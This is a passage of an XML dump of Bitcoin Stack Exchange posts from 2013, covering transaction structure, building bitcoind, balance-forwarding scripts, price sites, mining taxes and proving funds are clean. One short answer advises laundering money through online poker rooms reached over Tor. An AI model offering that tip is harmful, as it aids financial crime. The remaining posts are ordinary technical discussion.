of the inputs (can't counterfeit new coins), and the inputs are signed by the correct private key (only the &quot;owner&quot; of the private key can spend the coins).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Examples&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To avoid a lot of excess detail we will look at a simplified version of the transactions used in the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say an previous transaction exists (tx hash 1234567890).  In this transaction you have an input which referenced an unspent output of a previous transaction worth 100 BTC.  You send 50 BTC to one address, 10 BTC to another address, and the change (40 BTC) is sent to a new address in your wallet.  Remember we can't spend part of an unspent output so the change is necessary because we are spending a 100 BTC input but only need to &quot;send&quot; 60 BTC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplified pseudo-transaction may look something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In[0] &amp;lt;lets ignore the input for now but it does have a value of 100 BTC&amp;gt;&#xA;Out[0] Bitcoin address=1ABC... Value=50 BTC&#xA;Out[1] Bitcoin address=1DEF... Value=10 BTC&#xA;Out[2] Bitcoin address=1XYZ... Value=40 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The tx has 1 input, 3 outputs, all in/out indexes are zero based, and the value of the outputs is equal to the value of the input.  If the output(s) are less than the input(s) then the difference is the fee paid to the miner.  If the outputs are more than the input(s) then the tx is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now since the &quot;change&quot; address is 1XYZ is another address in our wallet we can use it in a new transactions. We will pay a merchant 1 BTC and give the miner a fee of 0.01 for fast inclusion in a block.  The change will be sent to yet another new address in the wallet (1ZZZ....). The resulting transaction may look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In[0]  Tx hash=1234567890 OutputIndex=2&#xA;Out[0] Bitcoin Address=1HIJ... Value=1 BTC&#xA;Out[1] Bitcoin Address=1ZZZ... Value=38.99 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The input refers to the 3rd (0 base array) output of the tx above.  Looking up the output index 2 of tx 123456789 we can see the value is 40.00 BTC.  The sum of the outputs are 39.99 meaning 0.01 BTC will be collected by the miner of the block.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Real txs deviate from the simplified version shown above&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Note this isn't really important unless you want to dive deeper into the workings of the protocol.  The output of Bitcoin transactions are actually scripts instead of static addresses and values shown above.  Functionally for most outputs they work the same, although to save space the hash of the public key not the address is used in the output. All blocks have a required tx called the coinbase which has no input because the output is the block subsidy and the fees paid to miners.  All values in the Bitcoin network are integers in Satoshis (1E-8 BTC) so technically all the numbers in this post would be multiplied by 1E8.  &lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2013-08-02T22:32:53.473" LastActivityDate="2013-08-02T22:32:53.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12473" PostTypeId="2" ParentId="3066" CreationDate="2013-08-02T00:32:10.240" Score="2" Body="&lt;p&gt;There are great amount of gambling's sites. Just go with TOR(onion routing) to poker room, and wash your money in one of rooms. Your fantasy is your friend.&lt;/p&gt;&#xA;" OwnerUserId="6108" LastEditorUserId="6108" LastEditDate="2013-08-02T00:45:06.610" LastActivityDate="2013-08-02T00:45:06.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12474" PostTypeId="2" ParentId="12467" CreationDate="2013-08-02T03:33:08.220" Score="3" Body="&lt;p&gt;Ripple transactions are irreversible. There are no chargebacks.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-08-02T03:33:08.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12475" PostTypeId="2" ParentId="12466" CreationDate="2013-08-02T03:38:55.070" Score="2" Body="&lt;p&gt;Ripple has no such requirements, nor could it. It is designed to function without any central authorities. A Ripple account is created just by sending a small amount of XRP to it. The account's owner authenticates using a public/private key pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In principle, you could get USD into or out of Ripple without going through a gateway directly. You can meet someone in person anonymously, hand them a $50 bill, and they could give you a $50 Ripple balance. In reverse, you could sell a Ripple balance in person anonymously for cash. But in practice, to get money into and out of Ripple, you'll typically use a gateway's issue and redeem functions, and they will have identity policies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gateways can also require you to provide them identification just to hold balances from them on Ripple. To my knowledge, no gateway currently does this.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="105" LastEditDate="2013-08-02T08:41:52.780" LastActivityDate="2013-08-02T08:41:52.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12477" PostTypeId="1" AcceptedAnswerId="12491" CreationDate="2013-08-02T07:45:14.663" Score="5" ViewCount="138" Body="&lt;p&gt;Recently I've heard of a site which gathers prices from some exchanges, and gives you a mean value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried googling for it and I failed, couldn't find anything related for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you point me out to such a site?&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2019-09-10T15:36:49.187" Title="BTCUSD mean value" Tags="|exchanges|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12478" PostTypeId="2" ParentId="12456" CreationDate="2013-08-02T10:47:26.633" Score="0" Body="&lt;p&gt;I would not be absolutely certain about it, and l guess the rules could be different for various countries and states.... but l guess it is how you run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.E. l imagine it could be classed as a business and if you intend to make a profit it probably should be classed as a business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then again, depending on the laws in your region you may be able to class it as a hobby (but get more advice and don't take my word for it as l am really not 100% sure)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="6182" LastActivityDate="2013-08-02T10:47:26.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12479" PostTypeId="1" CreationDate="2013-08-02T13:10:09.327" Score="5" ViewCount="4623" Body="&lt;p&gt;I have Bitcoins on my desktop wallet client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i now have the Bitcoin Wallet by Andreas Schildbach installed on my Android device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IS it possible to move the desktop wallet to Android wallet?&lt;/p&gt;&#xA;" OwnerUserId="6184" LastEditorUserId="5406" LastEditDate="2016-01-05T13:52:02.807" LastActivityDate="2016-01-05T13:52:02.807" Title="How to move Bitcoins from desktop wallet to mobile wallet?" Tags="|wallet|wallet-import|bitcoin-wallet-app|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12480" PostTypeId="1" CreationDate="2013-08-02T17:47:22.227" Score="8" ViewCount="2204" Body="&lt;p&gt;Let me start by saying that I understand that the money in my wallet may at one time have been used in an illicit transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a question that we need help with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do we show regulators and other entities that Bob in the following scenario is not laundering funds? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob our mild mannered engineer who works from home has done a ton of work for a new website. He has agreed to accept payment in btc- The website pays him the equivalent of 20K USD in btc.  The company bought those coins from a variety of other sources that are not involved in any criminal activity, those people also got their btc from other sources that are non-criminal. Let's say we dive an additional 5 levels deep and these btc are as pure as the driven snow. And maybe some of them were used long ago in sale of endangered birds or drugs or whatever. Just like the 20 dollar bill in my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7 months later Bob cashes in!! He now has 20K USD that he wants to deposit in to his bank account. In this scenario- mean men with badges show up at Bob's house and accuse him of selling dope and that 20K is via the proceeds of a crime and they want to send Bob to the nearest house of corrections. To make matters worse, Bob's work PC was lost in a boating accident and the web company he worked with is no longer in business. No proof of the work he did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we help Bob quickly show the men with badges that the btc Bob received for payment was not bad money? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as stated in the scenario maybe some of the btc were used in illicit activity but months later good honest people have these coins and we should consider these coins as pure as the $20 in my wallet that I got from  may have been used to buy cocaine 5 months ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do analysis of our intake and show the regulators that the exchanges we work with are not buying from criminals and that we are certainly not allowing it. I am hoping to be able to show that people selling directly to exchanges are not not criminals either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6188" LastActivityDate="2019-01-21T06:39:34.353" Title="How to prove legitimacy or that my coin was not used in a recent illicit deal?" Tags="|money-laundering|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12482" PostTypeId="1" CreationDate="2013-08-02T19:42:05.237" Score="2" ViewCount="1202" Body="&lt;p&gt;The download page on the Bitcoin &lt;a href=&quot;http://bitcoin.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; lists two clients for the windows platform. Both clients are a 32-bit binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running a 64-bit build of Windows on a multi-core processor, I find myself wondering whether a 64-bit binary exists. So ... Is there a 64-bit port of Bitcoin-Qt for Windows out there?&lt;/p&gt;&#xA;" OwnerUserId="6183" LastEditorUserId="120" LastEditDate="2013-08-04T12:20:10.330" LastActivityDate="2013-08-04T15:13:47.760" Title="Is there a 64-bit port of the original software for windows?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12484" PostTypeId="2" ParentId="12480" CreationDate="2013-08-02T22:24:59.183" Score="2" Body="&lt;p&gt;Administratively, there should be plenty of evidence that Bob was working a legitimate job.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If the web firm is a US company and Bob a US worker, then the company is required to file a form 1099-MISC.  Yes ... even if they paid him in non-USD currency.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some time in that seven-month period, Bob should have paid his quarterly    taxes.  That adds to the legitimacy of his income.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There must be some kind of timekeeping and invoicing process between Bob and the web company, along with specifications, emails, and other evidence of a working relationship.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bob can point to the stuff he built. (I know from experience that this isn't always possible.  I have worked on a lot of internal projects that people outside a company never have access to.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the web company bought their bitcoins on open exchanges, then there is an associated bank account and a bunch of regulatory machinery that has already kicked in at some point.  The company is already being monitored under the usual rules for currency exchanges.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a technical side of this too.  Because the entire bitcoin ledger is public knowledge, it should be very clear that Bob has been saving his bitcoins for the past several months.  That is probably not typical behavior for a money launderer.  If, on the other hand, it is clear Bob has been using a mixing service to receive his Bitcoins he may have a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately all money is &lt;a href=&quot;http://en.wikipedia.org/wiki/Fungibility&quot; rel=&quot;nofollow&quot; title=&quot;Define Fungibility&quot;&gt;fungible&lt;/a&gt;.  As you've already intuited, this problem isn't really much different from if Bob was taking his pay in USD instead of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="4139" LastActivityDate="2013-08-02T22:24:59.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12485" PostTypeId="2" ParentId="12480" CreationDate="2013-08-03T00:25:23.053" Score="0" Body="&lt;p&gt;There's no rational reason that Bob would need to prove that the funds his customers used to pay him with had no taint.  His invoices to his customers should be adequate as far as records for the &quot;men with badges&quot; go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if for some reason a pedigree of the funds transfers was known to each party that received payment and Bob wished to have proof of each transfer, then each party could use the optional (and soon-to-be-released) &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2539&quot; rel=&quot;nofollow&quot;&gt;Payments Protocol&lt;/a&gt;.  If these parties then (voluntarily) shared this info with Bob, then the linkage back to each of the five previous transactions would yield the full pedigree of the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way to discover this linkage but when using the Payments Protocol then there is the ability for each party that sends a bitcoin transaction to prove who the recipient of the funds is.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-08-06T20:53:49.367" LastActivityDate="2013-08-06T20:53:49.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12487" PostTypeId="2" ParentId="11936" CreationDate="2013-08-03T04:09:57.843" Score="3" Body="&lt;p&gt;No need to keep the client open. Whatever client that is.&#xA;The confirmations take place in the bitcoin network, not locally.&lt;/p&gt;&#xA;" OwnerUserId="6195" LastActivityDate="2013-08-03T04:09:57.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12488" PostTypeId="2" ParentId="7940" CreationDate="2013-08-03T06:29:58.500" Score="3" Body="&lt;p&gt;This is how I compiled bitcoind from the github source on Fedora 18.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo yum install gcc-c++ make&#xA;sudo yum install boost-devel &#xA;sudo yum install db4-devel&#xA;sudo yum install openssl-devel&#xA;sudo yum install rpm-build&#xA;sudo yum install lynx&#xA;sudo yum install python-devel&#xA;sudo yum install miniupnpc&#xA;sudo yum install miniupnpc-devel.i686&#xA;sudo yum install libdb-cxx.i686&#xA;sudo yum install libdb-cxx-devel.i686&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now grab the latest tarball from: &lt;a href=&quot;http://www.openssl.org/source/&quot; rel=&quot;nofollow&quot;&gt;http://www.openssl.org/source/&lt;/a&gt;&#xA;save and untar it in a directory, let's say ~/installs/openssl_ecdsa&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~/installs/openssl_ecdsa&#xA;./config&#xA;make&#xA;sudo make install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now pull the latest bitcoin source from github&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~&#xA;git clone https://github.com/bitcoin/bitcoin.git&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want the latest stable release,&#xA; checkout the version number here: &lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/en/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git checkout 0.8.3 //latest stable at the moment&#xA;cd bitcoin/src&#xA;export OPENSSL_INCLUDE_PATH=&quot;/usr/local/ssl/include&quot;&#xA;export OPENSSL_LIB_PATH=&quot;/usr/local/ssl/lib&quot;&#xA;make -f makefile.unix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6197" LastEditorUserId="132" LastEditDate="2013-08-04T15:36:41.470" LastActivityDate="2013-08-04T15:36:41.470" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12489" PostTypeId="2" ParentId="12479" CreationDate="2013-08-03T08:57:08.623" Score="2" Body="&lt;p&gt;If you want to &lt;em&gt;move&lt;/em&gt; Bitcoins in the sense of a wallet &lt;a href=&quot;https://en.bitcoin.it/wiki/Api&quot; rel=&quot;nofollow&quot;&gt;command&lt;/a&gt; it would require some more technical integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the easiest thing is to scan the QR-code of your Android mobile wallet with your webcam. I use &lt;a href=&quot;http://www.quickmark.com.tw/En/basic/downloadPC.asp&quot; rel=&quot;nofollow&quot;&gt;QuickMark&lt;/a&gt; for the scanning. Then you can simply copy paste the Bitcoin address to your desktop wallet and send Bitcoins to your phone via the network.&lt;/p&gt;&#xA;" OwnerUserId="5793" LastActivityDate="2013-08-03T08:57:08.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12490" PostTypeId="2" ParentId="12456" CreationDate="2013-08-03T09:24:49.900" Score="1" Body="&lt;p&gt;I have about 219 GH and I run it as a small business. On my 2012 taxes in the USA I simply reported the fiat currency and goods that I received as misc income. Kind of in the same way that one would report gambling winnings. I reported my gear, deprecation and power usage as a business expenses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have various streams of income under a LLC and try to keep the various expenses that are associated w/ the income classified as divisions of the company in Quick-book's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan on holding on to most of my Bitcoin's as long term investments. I have also purchased Litecoin's w/ my Bitcoins's and expect them to appreciate in value (unlike fiat currency). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as financial planning is concerned I consider my Bitcoin paper wallets as emergency savings. I am not a rich man in the financial $ense but I am debt free. :)&lt;/p&gt;&#xA;" OwnerUserId="6198" LastActivityDate="2013-08-03T09:24:49.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12491" PostTypeId="2" ParentId="12477" CreationDate="2013-08-03T12:56:59.290" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinaverage.com/&quot; rel=&quot;nofollow&quot;&gt;BitcoinAverage&lt;/a&gt; launched just recently. According to &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1jl9c2/bitcoinaveragecom/&quot; rel=&quot;nofollow&quot;&gt;their post on Reddit&lt;/a&gt; the prices shown&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;are a daily weighted average&lt;/li&gt;&#xA;  &lt;li&gt;factor in all exchanges currently with available data&lt;/li&gt;&#xA;  &lt;li&gt;are near-live rates&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can hover the mouse over the price to get more details on what exchanges are used and their weight.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2013-08-03T12:56:59.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12494" PostTypeId="2" ParentId="1495" CreationDate="2013-08-03T17:02:30.637" Score="10" Body="&lt;p&gt;You may use /etc/crontab on your Ubuntu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* * * * * root /usr/local/bin/bitcoin_resender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And script shall looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /usr/local/bin/bitcoin_resender&#xA;#!/bin/bash&#xA;if [ $(echo &quot;$(bitcoind getbalance) &amp;gt; 0&quot; | bc) -eq 1 ];then&#xA;      bitcoind sendtoaddress YOUR_NEW_ADDRESS $(bitcoind getbalance) &quot;Comment for resender&quot;&#xA;fi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will check every minutes your bitcoind balance and resend each bitcoins to YOUR_NEW_ADDRESS.&lt;/p&gt;&#xA;" OwnerDisplayName="user6203" LastActivityDate="2013-08-03T17:02:30.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12495" PostTypeId="1" AcceptedAnswerId="12499" CreationDate="2013-08-03T20:47:39.943" Score="0" ViewCount="239" Body="&lt;p&gt;Reading &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2667/whats-the-best-way-for-a-website-to-detect-payments-from-green-addresses/5981#5981&quot;&gt;this thread&lt;/a&gt; about determining the sending address of a bitcoin transaction. I'm a bit confused, how do you differentiate between the change address and the &quot;receiving&quot; address of the last transaction?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txid = &amp;lt;relevant transaction id&amp;gt;&#xA;addresses = []&#xA;raw_tx = decoderawtransaction(getrawtransaction(txid))&#xA;for(input in raw_tx['vin']) {&#xA;  input_raw_tx = decoderawtransaction(getrawtransaction(input['txid']))&#xA;  addresses.push(input_raw_tx['vout'][input['vout']]['scriptPubKey']['addresses'] [0])&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would &lt;code&gt;addresses&lt;/code&gt; not include other outputs that are unrelated to the sending address? I'm trying to build a block explorer and I'm uncertain how to determine which address sent coins in each transaction. Is it possible to tell?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-08-03T21:36:17.363" Title="Can you be 100% certain that a payment was sent from a specific address?" Tags="|transactions|blockchain|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12496" PostTypeId="2" ParentId="12364" CreationDate="2013-08-03T21:02:44.710" Score="10" Body="&lt;p&gt;Save the code to a PHP file in the web directory: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;  $url = &quot;https://bitpay.com/api/rates&quot;;&#xA;&#xA;  $json = file_get_contents($url);&#xA;  $data = json_decode($json, TRUE);&#xA;&#xA;  $rate = $data[2][&quot;rate&quot;];   //$data[1] is outdated now, they have updated their json order. This new number 2 now fetches USD price. &#xA;  $usd_price = 10;     # Let cost of elephant be 10$&#xA;  $bitcoin_price = round( $usd_price / $rate , 8 );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;   &amp;lt;li&amp;gt;Price: &amp;lt;?=$usd_price ?&amp;gt; $ / &amp;lt;?=$bitcoin_price ?&amp;gt; BTC&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user6203" LastEditorUserId="-1" LastEditorDisplayName="user6203" LastEditDate="2019-12-12T15:34:36.347" LastActivityDate="2019-12-12T15:34:36.347" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="12497" PostTypeId="2" ParentId="12495" CreationDate="2013-08-03T21:28:52.977" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;the Bitcoin Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An input is a reference to an output in a different transaction. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A transaction can have &lt;em&gt;multiple&lt;/em&gt; outputs, e.g., a normal one and the change, which specify the recipient address in their scriptPubKey. So usually to each output belongs one address, and the input specifies which output it redeems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an output specifies multiple destination addresses (which is rarely the case), only one of those can redeem the transaction. You can find out which one by looking at the scriptSig of the input.&lt;/p&gt;&#xA;" OwnerUserId="6177" LastActivityDate="2013-08-03T21:28:52.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12498" PostTypeId="2" ParentId="12477" CreationDate="2013-08-03T21:30:17.700" Score="3" Body="&lt;p&gt;Probably this is more informative and partly older than BitcoinAverage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/markets/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Introduction&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Bitcoincharts provides financial and technical data related to the&#xA;  Bitcoin network. You can also access this data via our JSON-API.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Market overview&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Bitcoincharts uses daily intervals (UTC) to display data. For example,&#xA;  the volume of a market will usually be zero at midnight (UTC) and&#xA;  increase during the day.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user6203" LastActivityDate="2013-08-03T21:30:17.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12499" PostTypeId="2" ParentId="12495" CreationDate="2013-08-03T21:36:17.363" Score="2" Body="&lt;p&gt;Every output is identified by the hash of the transaction it is in, and the serial number of this output in the list of transaction outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an output is spent as the input of another transaction, the input of that transaction contains two fields, txid and vout, to specify the tx id and the serial number of that output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code snippet you give, first input['txid'] is used to pinpoint the transaction, and then input['vout'] is used to find the specific output.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-03T21:36:17.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12500" PostTypeId="2" ParentId="12456" CreationDate="2013-08-03T22:21:32.370" Score="-1" Body="&lt;p&gt;It's a hobby. Unless you spend your full time resources on it and consider it your primary source of income.&lt;/p&gt;&#xA;" OwnerUserId="5573" LastActivityDate="2013-08-03T22:21:32.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12501" PostTypeId="2" ParentId="12280" CreationDate="2013-08-03T22:58:04.577" Score="14" Body="&lt;p&gt;You may use /etc/crontab on your Ubuntu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* * * * * root /bin/bash /usr/local/bin/bitcoin_resender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And script shall looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /usr/local/bin/bitcoin_resender&#xA;#!/bin/bash&#xA;if [ $(echo &quot;$(bitcoind getbalance) &amp;gt; 0&quot; | bc) -eq 1 ];then&#xA;      bitcoind sendtoaddress YOUR_NEW_ADDRESS $(bitcoind getbalance) &quot;Comment for resender&quot;&#xA;fi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will check every minutes your bitcoind balance and resend each bitcoins to YOUR_NEW_ADDRESS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your probably need to check the fee.&lt;/p&gt;&#xA;" OwnerDisplayName="user6203" LastEditorDisplayName="user6203" LastEditDate="2013-08-06T09:14:11.020" LastActivityDate="2013-08-06T09:14:11.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12502" PostTypeId="1" AcceptedAnswerId="12505" CreationDate="2013-08-04T04:28:23.513" Score="2" ViewCount="238" Body="&lt;ol&gt;&#xA;&lt;li&gt;Which have invested into Bitcoin or Bitcoin companies?&lt;/li&gt;&#xA;&lt;li&gt;Which have shown &quot;more interest than average&quot; (e.g. Pamir from &lt;a href=&quot;http://www.linkedin.com/vsearch/p?company=Hummingbird%20Ventures&amp;amp;trk=prof-0-ovw-curr_pos&quot; rel=&quot;nofollow&quot;&gt;Hummingbird Ventures&lt;/a&gt; organized the &lt;a href=&quot;http://btclondon.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin London Conference&lt;/a&gt;)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="78" LastActivityDate="2019-06-26T11:53:23.350" Title="Which Venture Capital firms are especially interested in Bitcoin?" Tags="|investing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12503" PostTypeId="1" CreationDate="2013-08-04T04:47:14.547" Score="4" ViewCount="1244" Body="&lt;p&gt;Is there a bitcoin robot that can automatically trade bitcoin for USD?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that bitcoin rates fluctuate every day and has different rates at different exchanges, and it could be easily traded like other currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a bitcoin robot, similar like forex robots?&lt;/p&gt;&#xA;" OwnerUserId="6209" LastEditorUserId="5406" LastEditDate="2013-09-04T22:46:27.937" LastActivityDate="2013-09-04T22:46:27.937" Title="Is there a bitcoin robot?" Tags="|trading|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12505" PostTypeId="2" ParentId="12502" CreationDate="2013-08-04T06:02:47.710" Score="3" Body="&lt;p&gt;There hasn't been a definitive survey of the venture Capital industry but &lt;a href=&quot;http://boost.vc&quot; rel=&quot;nofollow&quot;&gt;Boost VC&lt;/a&gt; has made several bitcoin investments. Its founders Adam Draper and Brayton Williams are responsible for organizing the &lt;a href=&quot;http://onbitcoin.com/2013/05/25/boost-bitcoin-fund/&quot; rel=&quot;nofollow&quot;&gt;Boost Bitcoin Fund&lt;/a&gt; which several venture capital firms are participating in. There are also currently 7 bitcoin companies in their 2013 class of startups.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2013-08-04T06:02:47.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
